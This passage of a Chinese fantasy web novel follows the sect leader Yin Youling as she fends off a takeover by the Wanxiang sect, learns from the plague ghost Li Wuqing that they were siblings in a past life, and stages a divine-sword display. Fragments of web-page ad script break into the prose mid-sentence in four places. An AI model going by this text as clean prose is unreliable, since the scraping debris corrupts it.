“阴宗主,你放心,这个应该不至于了!无论你上辈子和厉无情是什么关系,既然他昨晚没有杀你,以后肯定也不会伤害你的。” 这话听起来让人心里踏实多了,阴有苓不由自主地松了一口气。 “如果上辈子你是他的姐妹就再好不过了,这份手足之情就算隔了世也没什么影响,还是可以照样做兄弟姐妹。” “算了吧,我也不想要这么一个鬼兄弟。” 阴有苓断然否决的话音刚落,阿宽忽然从外面一头撞了进来,小胖墩脸上的神色有点紧张。 “大师姐——宗主,又有人来了。” “不是说了嘛,凡是冲着仙剑日月明来的人,一律直接带去拔剑,不用知会我,懒得搭理他们。” “可是这回来的人,是万象宗的宗主,他说要见你。” 阴有苓一愣:“左铨,他怎么来了?” . 摩宵宫的正殿,向来是接待贵客的地方,万象宗宗主左铨已经不请自 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 入。 左铨是一个面相威严、神色严肃的中年男子,背负双手站在殿中央。十几名属下侍立两旁,把面积不大的正殿挤得满满当当。 那气派,那排场,不像是来做客的,倒像是来当家作主的。 对于这位时下修真界首宗的宗主来到,阴有苓虽然满心狐疑,但还是客客气气地以礼相待。 “左宗主大驾光临,有失远迎。” 左铨转身看了阴有苓一眼,不冷不热地开了口。 “阴真人,听说令尊去世了,还把无极宗传给了你。” 阴有苓不卑不亢地回答道:“没错,有什么问题吗?” “这不行,在修真门派中,从来没有女子任宗主的先例。你一介女流之辈难以堪此重任,我们绝对不会认可。” 阴有苓早就知道,自己这个宗主很难得到修真界的认可。 但是左铨身为天下第一宗门的宗主,也不至于这么闲得慌,为此亲自跑来当面跟她强调这件事,他一定另有目的。 “不认就不认呗,我也不稀罕。反正无极宗远在东海一隅,我关起门来自己当宗主,又碍不着你们什么,左宗主就眼不见为净吧!” 左铨义正辞严地道:“这也不行,无极宗到底是有着数百年基业的宗门,我不忍见它就此彻底没落。既然宗门中没有能传承宗派的男子,那不妨由万象宗暂时接管,再广招门徒,日后或许会有得力弟子能够重振它。” 阴有苓算是明白了,左铨不光是不肯认同她,还想从她手里把无极宗抢走,顿时气得柳眉倒竖。 “无极宗沦落到这个荒岛上已经三百年了,这三百年来万象宗趁机发展壮大,从未对我们发过善心施以援手,偏偏这个时候却说起了什么不忍。姓左的,别以为我不知道你在打什么主意,你不就是想得到仙剑日月明嘛,真是难为你还能把话说得这么冠冕堂皇。” . 仙剑日月明现世后,修真界想要得到它的大有人在。 可是这柄仙剑就像一只恋家的老狗,守在摩宵宫哪儿也不去,谁都带不走。 左铨于是想到了这个法子,既然带不走仙剑,那就不妨找个理由,名正言顺地接管摩宵宫。 至于找理由一点也不难,按照修真界千百年来的惯例,阴有苓一介女流就没有资格当宗主。 更何况她还因为厉鬼应长恨名声受损,更加有理由一脚踢开。 “阴真人请慎言,我这么做都是为了无极宗好。” 左铨自然是死不认账,无论心中的想法是多么上不了台面,口头上都必须拿出一套冠冕堂皇的说辞。 毕竟凡事都讲究个名正言顺,他师出有名了,跑来接管无极宗自然也就理由充足。 “呸,你少在这儿假惺惺,我们无极宗不需要这种所谓的好。” 面对阴有苓的怒斥,左铨一脸道貌岸然地道: “阴有苓,女人原本就不能当宗主,更何况你还是一个跟厉鬼关系暧昧的女人。照我看来,你如今都没资格再继续留在无极宗,因为你的存在只会令宗门蒙羞。” 67.救星 那些关于阴有苓跟厉鬼应长恨之间的流言蜚语,左铨其实是不信的。 因为阴雄是个非常正派的人,教导出来的女儿肯定也不会差。 要是真相信这件事的话,左铨反而不敢来招惹阴有苓了,毕竟应长恨可是一位惹不起的主儿。 不过眼下这个莫须有的罪名,正好可以用来赶走她。 “左铨,你现在是要反客为主地赶我走吗?” “如果你还想保留一点体面,就自己走出去吧,我也不想太为难一个女人。你的那些师弟师妹都是歪瓜裂枣,你如果想要全部带走,我也没有意见。” 阴有苓怒极反笑。 “姓左的,你要接管无极宗,却连一个无极宗的弟子都不想留,只想统统撵走。那以后这里算什么?万象宗分宗吗?” “这些就不劳你操心了,快点走吧。” “我、不、走。” 阴有苓从牙缝里挤出了这三个字,“想让我走,除非是把我的尸体从这儿抬出去。” 左铨原本觉得,阴有苓不过是一个双十年华的女子,年纪很轻,见识自然也就浅。 只要自己亲自出面威慑一番,她就算是心里不服气,也不敢硬杠,只能忍气吞声地走人。 没想到,这个阴有苓还跟他叫上板了。弱质纤纤的外表下,还有着如此铁骨铮铮的一面,死也不肯让出摩宵宫。 左铨脸色一沉,“阴有苓,你真要把场面搞得这么难看吗?” “左铨,你跑来硬抢别人的地盘,居然还有脸责怪别人不配合。到底是谁搞出这么难看的场面,难道不正是你吗?” “我不跟你废话了,既然你不肯配合,那就等着被人扔出去吧。来人……” 左铨正准备吩咐随行的属下动手,强行轰人占领摩宵宫时,阿难满脸堆笑地从门外走进来打断了他。 “左宗主且慢,有话好好说,不要随便动手,我们可以争取和平解决问题的。” 左铨狐疑地打量着一身贵公子装束的阿难,虽然不清楚这人的来历,但看衣着气度像是颇有来历的样子,如无必要他也不想开罪。 “不知阁下是?” “在下和光,与阴有苓是旧识。左宗主的来意我刚才都听见了,她一时接受不了也情有可原。要不你给我一点时间,我可以帮忙劝一劝她。” 无极宗的门人,除了阴有苓之外,其他的都是半大不小的少年弟子。 如果这个和光能劝说她自己同意离开摩宵宫,左铨也就不用落个欺凌弱小的名声,自然是点头答应。 “好,那就有劳和公子了。” . 阿难把阴有苓拉出门外后,还没开口就被她一句话顶了回来。 “你什么都别说了,还是那句话——想要我走,除非我死。” “宁死不屈是好样的,可你要真死了,无极宗就真完了。你那些师弟师妹们,绝无可能在你死后重振无极宗,他们只会重新变回流浪街头的乞儿。” 阿难一针见血的话语,让阴有苓沉默了很久。 她死也不肯走,可是如果真死了,无极宗更是彻底垮了,因为她是这个没落宗门的最后一根支柱。 “阴有苓,你就听我一句劝吧!形势比人强的时候,学会暂时低下头。留得青山在,不怕没柴烧。咱们来日方长行不行?” 深吸一口气后,阴有苓终于开口了,声音坚定如磐石无转移。 “我可以不死,但我绝不会配合左铨。难道这条老狗汪汪乱吠几声,我就要吓得乖乖让出摩宵宫吗?怎么都要跟他们打上一场再说。” “可是你的右手掌伤得不轻,连重剑都握不了。” “右手不行就左手,反正这一战我一定要打。就算是打不赢,也要打出本姑娘绝不屈服的气势给他们瞧瞧。” 阿难情知自己再劝不动阴有苓了,她的性子外柔内刚,比很多男人还要刚强得多。 哪怕是明知必败的一战,她也不想做不战而溃的狗熊。 “阴有苓,要不这样,你去试试看能不能把日月明拔出来作战。” 正殿前的庭院里,仙剑日月明不偏不倚地插在正中央的位置,任谁走进来都无法忽略它的存在。 “怎么可能?那可是仙剑,凡人用不了。” “仙剑有灵,知道自己身处摩宵宫后,就任何人都带不走它。或许你可以试着用灵识跟它沟通,告知你是无极宗的现任宗主,眼下无极宗有难,需要它助你御敌,没准它能够理解并且愿意帮忙呢?” 阴有苓一脸在听天方夜谭的表情,“阿难,你也太会异想天开了吧?” “试试嘛,试试又不会损失什么。” 阿难不由分说地把阴有苓推到仙剑日月明前面,让她握住剑柄,闭上眼睛以灵识对仙剑发出讯息。 这柄曾经属于他的仙剑,在找不到主人的情况下,把摩宵宫当成了等待主人出现的据点。 如果阴有苓的灵识沟通有效,那么它一定不会对左铨企图抢占摩宵宫的行为坐视不管。 仙剑是神仙用的神兵,凡界修士的武器对上它,就像瓷器遇上金刚石,轻轻一触就会被击得粉碎。 左铨等人的十几柄灵剑,根本都挡不住它。 . 正殿内,左铨已经老实不客气地坐上那张高踞上首的宗主宝座,把自己当起主人来了。 无论阿难劝说的结果如何,都改变不了他要接管摩宵宫的事实。 隔着洞开的两扇门,左铨看见了阿难推着阴有苓走向仙剑日月明。两个人站在那柄仙剑前也不知在干嘛,因为只能看见他们的背影。 也许是在跟仙剑告别吧?左铨这么想着,唇角挑起一个大局已定的得意笑容。 这时候,院子里突然又多了一个人。 一个穿着白色长衫的年轻男子,容貌生得比女子还要标致,神色冷漠异常,活像一座人形冰山般冷冰冰的。 他是谁——左铨的脑子里浮出这个念头时,白衫男子瞬间宛如鬼魅般掠入屋里,手中还亮出了一套弓箭。 那套黑蟒弓与白翎箭的致命组合,让左铨的脸色骤然大变, (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 瞳孔急剧收缩。 侍立在他左右的十余名万象宗弟子,也无不大惊失色。 “天啊,鬼箭幽厄!” “这是鬼箭,那他就是疫鬼厉无情了!” 左铨和他带领的这支亲兵,全是修真界的高手,此刻却慌乱得像一群没头苍蝇。 毕竟疫鬼厉无情和厉鬼应长恨一样,都是凡界修士对付不了的牛鬼。 他们这批人,在阴有苓面前虽然具备压倒性的优势,但对上疫鬼厉无情,活命的概率却一点也不高。 . 厉无情之所以会重新出现在无极宗,是因为他听说了万象宗有人跑来想要强占摩宵宫的事。 昨晚离开阴有苓的屋子后,他并没有离开太平岛。 一直在岛上的某个偏僻角落躺着发呆,眼睁睁地看着明月西沉,红日东升,新的一天再度降临。 一轮朝日渐渐爬上中天时,厉无情突然听到海滩方向传来几个孩子的对话声。 “师弟,师妹,你们别再这儿挖蛤蜊捡螃蟹了,赶紧回去帮大师姐——不对,是帮宗主打架,不然咱们就要被赶出摩宵宫了。” “啊,不是吧?阿宽师兄,是谁要赶我们走?” “万象宗的宗主跑来欺负人,说什么大师姐一介女流没资格当宗主,他要出面接管无极宗。还说大师姐跟厉鬼关系暧昧,让宗门蒙羞,一定要赶她走,连带咱们这些人也一起统统都赶走。” “什么?太过分了,万象宗怎么可以这样欺负人?” “他们来了十几二十个人,咱们宗主只有一个人,气势上就输了,所以咱们得赶紧回去帮她撑场子。” 阿宽忙着召集所有师弟师妹一起去给阴有苓撑场子,想法固然是好的,就是他们这帮半大不小的萝卜头,压根就不具备任何威慑力。 但是,被厉无情听见了那就不一样了,他赶在这帮萝卜头之前进了摩宵宫。 . 厉无情闯进摩宵宫的正殿时,面对院门的阴有苓和阿难第一时间发现了他。 阴有苓的第一反应是糟了:他该不是跑回来秋后算账吧?那我现在岂不是腹背受敌,这是天要亡我的节奏吗? 阿难却眼睛一亮:太好了!救星来了! 说起来也真是讽刺,原本是修真门派同一阵营的万象宗,眼下却成了无极宗最大的敌人,企图鸠占鹊巢的掠夺者。 而无间鬼域臭名昭著的恶煞之一,却成了路见不平拔刀相助的救星。 厉无情看也没看阴有苓一眼,神色冷漠地直接瞬移进入正殿、亮出武器,也就是亮明了自己的疫鬼身份。 “你是无极宗的宗主?厉某今日前来,有一笔账要跟你们清算一下。” 看着厉无情一副踢馆砸场子的气势汹汹状,左铨立刻跳下那张宗主宝座,一颗脑袋已经摇成了拨浪鼓。 “非也非也,我乃万象宗左铨,不过是来无极宗拜访宗主阴有苓。喏,她就是殿外站着的那名女修。” “不可能,修真界可从未有过女宗主,你是不是怕死不敢承认?” 68.四国时期 左铨赶紧赌咒发誓。 “我真不是无极宗的宗主,阴有苓才是。以前确实没有女宗主,阴宗主是头一个。” 阴有苓无法不冷笑连连。 “咦,左宗主,你怎么就肯承认我这个宗主了?之前不是还说我一介女流之辈难堪重任,你是绝对不会认可吗?” 此一时彼一时,疫鬼厉无情杀来摩宵宫找无极宗的麻烦,左铨可不想触这个霉头,当然要赶紧见风使舵了。 “哪里哪里,巾帼中也有不让须眉的女英雄,阴宗主或许就是其中之一呢?我个人觉得,还是应该给你一次机会证明一下自己。阴宗主,你此刻看来有要事急需处理,那左某就先行告辞了。” 左铨带着万象宗的人马迅速撤离开,不想掺和疫鬼与无极宗之间的旧账。 等厉无情夷平摩宵宫之后,自己再回来捡一个现成的便宜好了,反正他也带不走仙剑。 厉无情没有阻挡他们,只是斜睨着左铨匆忙离开的身影冷笑。 姓左的家伙,你活不了多久了!敢欺负她的人,我一个也不会放过——以前我没这个能力,现在可是有的很。 厉无情向来有仇当场就报,之所以忍住满腹怒火没有直接对左铨出手,都是因为顾忌阴有苓的缘故。 如果他把万象宗一行人全部射杀在摩宵宫,阴有苓肯定不答应,而且还会弄脏她的地方,更会让她成为众矢之的。 ——阴有苓这个女宗主到底是怎么回事?既能让厉鬼不杀她,又能让疫鬼帮她杀人,她和两个恶煞究竟是什么关系?该不会是两边都勾搭上了吧? 像这些不利于阴有苓的阴暗揣测,厉无情一百个不希望发生。 . 左铨等人走后,阴有苓怀着前门去虎后门进狼的糟心感,冲着厉无情发问。 “喂,你有什么账要找无极宗清算?” 厉无情直接朝她扔去一样东西,“我来把这个还给你。” 阴有苓接住一看,正是昨晚被他夺走的那枚小金兔挂坠。 “这就是你要跟我算的账?” 厉无情刚才气势汹汹的样子很像是来谋财害命的,没想到他居然是来物归原主的,阴有苓都有些发懵。 阿难在一旁笑道: “阴宗主,厉公子刚才是故意那么说,好吓走左铨那帮人。不然他要是直接站出来力挺你的话,回头又该传你跟他也有一腿了。除非把他们所有人全部杀了灭口,但你肯定不答应是吧?” 左铨虽然可恶,带来的人马也助纣为虐,但如果厉无情要在摩宵宫大开杀戒,阴有苓怎么都不会答应的。 堂堂无极宗的仙府,怎么能成为杀人灭口的地方呢? 厉无情正是这么想的,没想到这个和光就像他肚子里的蛔虫一样,把他的想法说得一清二楚。 “和光,你怎么会在这儿?” 厉无情注视着阿难的两道目光,闪烁着刀尖般寒冷又锐利的锋芒。 当初要不是这个可恶的妖怪坏了他的大事,他没准早就已经坐上了鬼王的宝座。 “厉公子,我和阴宗主是好朋友,今天特意过来看她,刚才还帮她一起应付左铨呢。” 阿难既不紧张也不慌张,照样笑容可掬。 有阴有苓在身旁站着,厉无情不看僧面看佛面,也不会在摩宵宫把他怎么样的。 “你是妖怪,她是修士,你们怎么会是朋友?” 厉无情还是板着脸瞪着眼,一副很想把阿难大卸八块的架势。除了旧怨之外,他如今还有新的理由要干掉这个妖怪。 昨天晚上,厉无情曾想把阴有苓当成应长恨的软肋加以利用。可是现在,阴有苓却已经成为了他的软肋所在。 阿难显然已经看出了这一点,如果他告知应长恨,那么厉鬼就要反过来利用阴有苓对付他了。 “不光我和她是朋友,应长恨也跟她是朋友,所以那天她才能毫发无伤地离开步云山。” 这一点倒是出乎厉无情的意料,他下意识地扭头看着阴有苓问:“当真?” “嗯,我跟这一妖一鬼的确是朋友,当初因为黑虎失踪一事认识的。” “此事说来话长,大家不妨进屋坐下来慢慢说吧!” . 摩宵宫的待客之道就两个字——寒酸。有人来做客,一杯清茶,一碟果脯,就是最好的招待了。 茶叶是从昌城买来的便宜货,果脯是用岛上的野果晒干了腌的,味道都相当一般。 但是厉无情细细品来,却品出一丝阔别以久的家常滋味。 阿难已经把他们结识阴有苓的经历大致讲述了一遍,厉无情专注地听完后,阴有苓在一旁问得直截了当。 “所以,黑虎到底是不是你杀的?” “是。” 厉无情很干脆地点头承认,阴有苓一脸想不通地又问: “你为什么要杀太玄真君的黑虎?他可是紫衡帝君之下数一数二的大仙官,你没事招惹他干吗?” “因为他是我的仇人。” 这句话脱口而出后,厉无情不禁斜瞟了坐在身旁的阿难一眼。他自然是秒懂,十分知趣地站起来往外走。 “你们慢慢聊,我出去欣赏一下海岛风光。” 阿难走出屋子后,厉无情才声音低沉暗哑地对阴有苓交代道:“其实,陆衢是我们的仇人。只是你不记得了,毕竟那是上辈子的事。” “上辈子的事——那上辈子我和你是什么关系?” 厉无情深深地看了阴有苓一眼,幽黑的眸子像幽深的水潭,谁也不知道里面藏着多少秘密。 “妹妹——你是我的妹妹。” 阿难之前分析时,曾经说过如果阴有苓前生是厉无情的姐妹就再好不过了。 因为手足之情几乎不受隔世的影响,不像夫妻或母子那样令人尴尬。 阴有苓不觉松了一口气。 “你认定我是你妹妹,就因为那个小金兔挂坠?万一是同样的东西你弄错了呢?” “不会的,这个挂坠当年由我亲自画出图样送去金店打制,全天下只此一枚。因为你生肖属兔,又酷爱梅花,所 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 以我为你设计了这只小金兔挂坠,它是你十二岁本命年的生日礼物。” “如果是这样的话,那就不可能会弄错了。看来前生我真是你妹妹,你说太玄真君是我们的仇人,这是怎么一回事?” “陆衢飞升之前,是北鄣国的太子,而我们那时是西郢国的贵族。” 北鄣国,西郢国,这些都是千年之前的古国。 那时候,天下分为东郯、西郢、南郇,北鄣四国,后世称之为四国时期。 后来东郯吞了南郇,北鄣灭了西郢。再后来北鄣一统天下,建立了大盛王朝。 如今的九州大陆,已经皇权更迭到了大兴王朝。千年前的四国时期,早就变成了故纸堆里的史记。 阴有苓依稀仿佛有点印象,“我前世是西郢国的人,它好像是被北鄣国给灭了吧?” “对,陆衢率军攻破王都后,西郢国就正式宣告灭亡。城破那天,娘就带着你和家中其他女眷一起投了井。因为你们宁愿死,也不愿意受辱。” 尽管是千年前已然隔世的往事,阴有苓还是听得悚然一惊。 “全家的女眷都投井了?” “对,无一例外,家中一共九名女眷,全部跳进了后院的井里,因为活着只会比死更悲惨。” 战乱之中,天生柔弱的女子最是无力自保,往往会沦为胜利者的战利品,用来泄欲的玩物。 想要逃避这种悲剧的命运,她们唯一能选择的就是死亡,通过自杀来捍卫自己最后的尊严。 “我们女人跳井的时候,你们男人在哪里?” “当时我们上官家负责保卫西城门,城破后,爹和三位兄长都战死了。我那年才十四岁,是太子殿下的伴读,一直呆在东宫陪侍。东宫被北鄣军占领时,宫中所有人都成了阶下囚。” “也就是上官家只有你一个人活下来了?” 厉无情惨淡一笑:“是的,我活下来了。虽然多活了几年,却是生不如死。” 阴有苓下意识地追问:“后来发生什么事了?” “西郢国被灭后,陆衢下令,所有王室成员,男子无论成年与否一律斩首,就算是襁褓中的婴儿也不例外。至于贵族成员,男子十五岁以上处以绞刑,十五岁以下籍没为奴。我就这样从一名贵族子弟沦为了奴隶,受尽非人的折磨,几年后死于一场瘟疫,化作疫鬼。” “所以,你恨透了陆衢,杀死黑虎就是为了报复他?” “对,我就是想报复他。当年如果不是他率军灭了西郢国,上官家又怎么会落得这种家破人亡的地步?是他毁了我所有的一切。” 当年北鄣国太子陆衢亲自统率三军,势如破竹地攻破了西郢国都,至今仍是史册上的一段辉煌战绩。 可是战绩彪炳的背后,却凝结着无数人的斑斑血泪,正所谓一将功成万骨枯。 国与国之间的战争,无非就是一个目的——通过战胜敌国来扩大自己的势力范围。 这种争霸之战很难评判谁对谁错,毕竟每个国家都是站在自己的立场上,为自己争取更多权益。 69.万骨枯 战争造成的动荡与混乱,注定会让人们陷入家破人亡、骨肉分离的悲惨局面。 无论是身份尊贵的王公贵族,还是地位低下的普通百姓,在这个过程中都可能无力自保。 绝大部分人遭遇战乱都会认命,谁让自己命不好生逢乱世呢? 陆衢想要消灭西郢,是国与国之间争夺霸权的战争。无数个家庭因此家破人亡的悲剧,不过是战争导致的副产品。 然而,厉无情显然不想认命。 这场兵荒马乱既然是陆衢一手缔造的,他就恨透了他。恨得时隔千年之后旧事重提,仍然满脸都是怨毒的神色。 阴有苓一点也不难看出来厉无情有多恨陆衢,下意识地问道:“就算杀了黑虎你也还是不解气,如果能杀太玄真君,你一定不会错失良机吧?” 厉无情毫不犹豫地点头,“那是自然。我之所以费尽心机想要成为鬼王,就是希望有朝一日能亲手杀了他报仇。只可惜……” 只可惜这一希望已经彻底破灭了,就在厉无情最接近成功的时候,现实突然给出狠狠一击,让他输得摧肝裂胆满心不甘。 他为此想要不择手段地利用阴有苓去对付应长恨,结果却意外发现她是前世的至亲之人。 阴有苓能听懂这句话的弦外之音。 “应长恨突然杀回来,你已经没有机会当鬼王了。太玄真君又是那么厉害的大仙官,你就算再想杀他报仇,也最好别轻举妄动。” “我知道,我是想报仇,不是想送死。除非是和仇人同归于尽,否则我上官鹤这条亡魂才不会轻易消散呢!” “你叫上官鹤?” 听到阴有苓念出自己的名字,厉无情有片刻的失神。 这个在岁月里蒙尘已久的名字,已经千百年没人唤过了,如今终于又琅琅地响在耳畔。 虽然曾经的亲昵并不复存在,却如烛火般带来一丝暖意。 “对,我叫上官鹤,仙鹤的鹤。” “那我以前叫什么?” 厉无情久久地注视着阴有苓,目光感伤又迷蒙,轻声道:“芳苓——你的名字叫芳苓。” . 摩宵宫建在太平岛的最高处,从这里可以俯瞰整座小岛。尤其上岛的那座码头更是无遮无挡,一目了然。 左铨一行人已经乘着来时的大船走了,临走前得到了阿宽等人的“夹道欢送”,各种烂菜叶烂果子乱砸一气。 能不能砸中目标不重要,重要的是通过这种行为渲泻心里的那口恶气。 阿难就坐在摩宵宫的屋顶上看戏,他随身荷包里装着半包喷香的烤松子,一边看一边剥松子,吃得津津有味。 左铨乘坐的大船消失后,又有一艘小船驶向太平岛。 船只在码头靠岸时,一道窈窕动人的身影走出船舱,芙蓉色的衣裳宛如一群粉蝶,在三月薰风中翩然飞舞。 看清楚来者何人后,阿难一瞬间就从屋顶上消失了。再次现形时人已经到了码头,脸上挂着由衷的笑容。 “真真姑娘,好久不见。” “阿难哥哥,见到你太好了!你和阿难弟弟都没事吧?前几天我和阴姐姐还担心你们来着。” 阿难的出现令任天真十分惊喜,一汪喜悦的笑容,水似的淌满一脸。 “多谢挂念,我们都好着呢!” “玉岭一别后就再没有你俩的消息,我之前还担心你们是不是已经被疫鬼灭了口呢。” “放心,以后他都灭不了我们了,阿难弟弟现在厉害着呢!” “真的假的?他还能比疫鬼更厉害?对了,眼下无间鬼域最厉害的人是厉鬼应长恨。前几天在步云山,他用一件法宝团灭了不少修士的事,你也听说了吧?” “我并没有听说,不过当场目睹了。” “啊,你当时就在步云山吗?” “不只我在,阿难弟弟也在——其实他就是厉鬼应长恨。” 任天真惊讶极了,一双眼睛瞪得圆溜溜的。 “什么,阿难弟弟就是应长恨?那我确实没啥可担心的了!他有万骨枯这样的法宝在手,称霸鬼域不是梦,疫鬼也不再是他的对手。哪怕厉无情打算单独对付你,想来阿难弟弟也是不会答应的。对吧?” 应长恨的骷髅头阿福在步云山横空出世后,这件能将活人血肉瞬间吸干的法宝,被人形象地称之为“万骨枯”。 “那是,阿难弟弟现在罩着我呢!我每天吃他的住他的跟着他混。” 任天真听得嫣然一笑,“听起来很不错的样子,我都想跟着他混了。对了,你来了,他在吗?” “他不在,回无间鬼域去了,倒是厉无情现在在岛上。” “什么?他来干吗?是追着你来的,还是想找无极宗的麻烦?阴姐姐应该没有得罪他吧?难道是他听说了那些狗屁传闻,真以为阴姐姐和应长恨有一腿,所以想利用这一点?” “真真姑娘真是冰雪聪明……” “那你还站在这里跟我啰嗦什么,咱们赶紧去帮阴姐姐呀!” 任天真急不可耐地就想冲向摩宵宫。 虽然她也不知道自己能不能打得过厉无情,但是朋友有难,她无论如何也要去拼一把,绝对不会不战而退。 阿难赶紧伸出双臂拦住她。 “真真姑娘,如果阴宗主有事,我可能在这儿跟你说上半天闲话吗?放心吧,没事的。厉无情和她原来有夙世前缘,眼下两人正在一块叙旧呢。我为了不打扰他们,就一个人出来闲逛,刚好遇上你了。你会跑来太平岛,也是因为听了那些闲言碎语的原因吧?” 阿难这么一说,任天真就放心地停下了脚步,点头道:“是啊,听得我快气死了,为此还揍了几个满嘴乱喷粪的家伙一顿。” . 仙剑日月明现世的那天,任天真和阴有苓一起跑去步云山看了半天热闹,然后两人就在山下分道扬镳了。 阴有苓独自返回无极宗,任天真则就近去了海禺山。 她的月华石已经蕴足了月光之华,要找座灵山闭关修炼一番,将其转化为自己的法力。 在海禺 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 山闭关数日后,任天真一出关就听说步云山又出了一件大事。 躲了一年不见踪影的厉鬼应长恨突然露面了,而且是相当高调的亮相,一举团灭了锦霞峰顶所有想要杀他的修士。 应长恨在步云山的所作所为,任天真一开始只是当作热闹听个乐呵的。 直到在尚湖附近的一家茶铺,她听见了有关阴有苓与应长恨之间的风言风语。 “阴有苓为什么能从厉鬼手里活下来?还不是因为她是一个美人——这话里的意思相信你们都懂吧?” 一个修士挤眉弄眼神色暧昧的话,听得同桌其余三人都露出心照不宣的笑容。 “懂了懂了,这种事是个男人都懂的。” “是啊,如果有美人主动投怀送抱的话,男人又怎么把持得住嘛!送上门的便宜不占白不占。” “那厉鬼可是占了一个大便宜呀!阴有苓当初成亲时新郎倌跑了,她应该还是一个雏儿呢!” “照这么说来,他俩在锦霞峰顶的颠鸾倒凤,厉鬼尝了好大一口鲜啊!” 四名修士越说越不像话的时候,一声娇叱突然在耳畔炸响。 “放屁。” 任天真可不是只动口不动手的君子,她是率性而为的女子,想骂就骂,想打就打,怎么出气怎么来。 一把虎虎生风的莲花锤,锤得那几个修士只有抱头鼠窜的份儿。 四名修士有三位都被任天真打成了猪头状,嘴巴肿成了两根香肠,牙齿更是掉了好几颗。 只有一个人得到了她的破格优待,没有惨遭打脸。 “这位郎君的脸蛋长得不错,我看了喜欢,就不打你了。怎么样,本姑娘还是很怜香惜玉吧?” 任天真一边说,一边随手拍了拍对方的脸颊,娇艳妩媚中带着几分风流倜傥的男子作派。 那位靠脸蛋逃过一劫的修士无言以对:“……” . 阴有苓和厉无情在屋子长谈时,阿难带着任天真在庭院中围观仙剑日月明,谨慎地与之保持着安全距离。 任天真爱娇地歪着头打量着仙剑道:“阴姐姐原本是不想要这柄仙剑的,最初她连拔剑都懒得试,没想到最后却还是把它带了回来,还成了摩宵宫的镇宅神器。” “是啊,要不是有日月明在这儿镇着,摩宵宫的匾额早就不保了。” “这个法子虽然能打发走不少人,但是遇上左铨那么会打算盘的人,就要连仙剑带仙府一起赔出去。还好厉无情出现得及时,把姓左的吓跑了。哼,这个欺软怕硬的家伙,要是遇上本姑娘一定锤他个半死不可。” “尽管如此,还是不能彻底解决问题。无论是厉无情还是你我,都不可能整天守在这里。或许咱们可以设法让仙剑神光大绽,回头就说仙剑有灵,察觉到有人想要对无极宗不利,于是自动出鞘配合阴有苓赶走了强敌。这种消息一传出去,看谁还敢上门搞事情。” 任天真觉得这个法子可以一试,“阿难哥哥,我觉得你这主意好,就是咱们要怎么让仙剑神光大绽呢?” 70.擂台 明光对此已经胸有成竹。 “之前在步云山的时候,我想摸一下仙剑遭到了它的神光攻击。如果你去接近它的话,应该也不会例外。而且你是大妖,你的能耐越大,它释放的神光只会越强。太平岛上一直有神光闪烁,仙剑有灵自动出鞘御敌的传闻也就靠谱了,是吧?” “懂了,阿难哥哥,你闪一边去,我来试试看。” “真真姑娘,你千万要小心啊,可别被神光击中了。” 阿难话音未落,身后就响起了阴有苓不解的声音,她已经结束了与厉无情的长谈走出屋外。 “小心什么?你俩围着这柄仙剑干吗?” “阴姐姐,阿难刚才出了一个主意,或许能一劳永逸地解决掉摩宵宫的麻烦,我正想试一试呢。” 任天真回答阴有苓的问题时,厉无情也从屋里走了出来,她一眼瞥见问得直截了当。 “你就是厉无情?” 任天真这话一出口,阿难便知道前阵子她在姑苏城答应姜夫人的求助后,并没有跟厉无情见过面交过手。 这说明厉无情那日只是要了姜老爷的命,事后并未株连他的妻儿。 “正是在下。” “好俊俏的一位郎君啊!不像是疫鬼,倒像是仙郎。” 对于美男子,任天真一向不吝赞美,只是这并非厉无情喜欢的赞誉之辞,神色依然冷冷淡淡。 “不知姑娘是?” 阴有苓在一旁介绍道:“她叫任天真,和阿难一样是妖,也是我的朋友。” 厉无情眸中滑过一丝不解,阴有苓身为一名修士,怎么会一再跟妖交上朋友呢? 任天真看出来了,笑盈盈地道:“阴姐姐不拘一格交朋友,有我和阿难这样的妖,也有你这样的鬼,有什么好奇怪的?” “人有好坏之分,妖魔鬼怪亦然。我交友主要看品行,品行不好不能交,品行好的话,就算是非我族类也无妨。” 厉无情不由自主地看了阴有苓一眼。 眼前的青衣女修,与记忆中那个纤柔稚气的垂鬟少女,无论是外表还是气质,没有一点相似之处,就如同木棉树与菟丝花的区别。 他心底有一丝失落,更多的却是欣慰。 这样没什么不好的,阴有苓能够自己站成一棵经得起风吹雨打的大树,就不会像前世的芳苓那样,大厦将倾时只有选择自尽一条绝路。 阴有苓言归正传地问起了阿难,“你刚才又出什么主意了?” “是这么一回事。” 阿难解释了一番,厉无情听了也不禁点头。 “我觉得可以一试。回头就说我来无极宗找麻烦被你手持仙剑打败了,左铨之流肯定不敢再打摩宵宫的主意,也再没有人敢瞧不起你这位女宗主。” . 乘船离开太平岛后,左铨一行就直接回了昌城。他打算等厉无情找完了无极宗的麻烦,再过去捡现成便宜。 船只在昌城靠岸没多久,太平岛方向就有神光频频闪烁。仙剑日月明平时只是偶尔闪现光芒,像这样高密度的闪烁很不正常。 仙剑日月明为什么会神光频闪?下午太平岛那边就传出消息了。 据说是阴有苓以无极宗现任宗主的身份沟通了仙剑之灵,得以拔剑出鞘对付强敌,疫鬼厉无情被她手持仙剑打得落荒而逃。 左铨难以置信,“阴有苓当真能拔出仙剑日月明作战?这怎么可能,该不会是她有意放出来的假消息吧?” “可是宗主,我们留在太平岛附近盯梢的人,亲眼见到厉无情满脸晦气地离开了太平岛。如果不是被阴有苓打败,他绝无可能善罢甘休自己走人吧?” 想不到阴有苓竟能得到仙剑撑腰,连疫鬼厉无情都不是她的对手。 左铨自然不可能再找上门去重提接管摩宵宫一事,那样只会自取其辱。 “既然如此,昌城也没必要再呆下去了,传令下去,明日出发返回万象宗。” 次日一早,左铨一行就登船离开昌城,前往万象宗仙府所在的岭南阳城。 阳城位于南海之滨,而南海与东海是连成一片的,只要穿过狭长的夷洲海峡就进入南海了。 船只驶行于夷洲海峡之际,左铨独自站在船头欣赏海天一色的景致。 突然后背心传来一阵冰凉又尖锐的刺痛,他下意识地低头一看,看见一截乌黑的箭锲从前胸刺出来。 ——鬼箭幽厄,疫鬼为什么要射杀我? 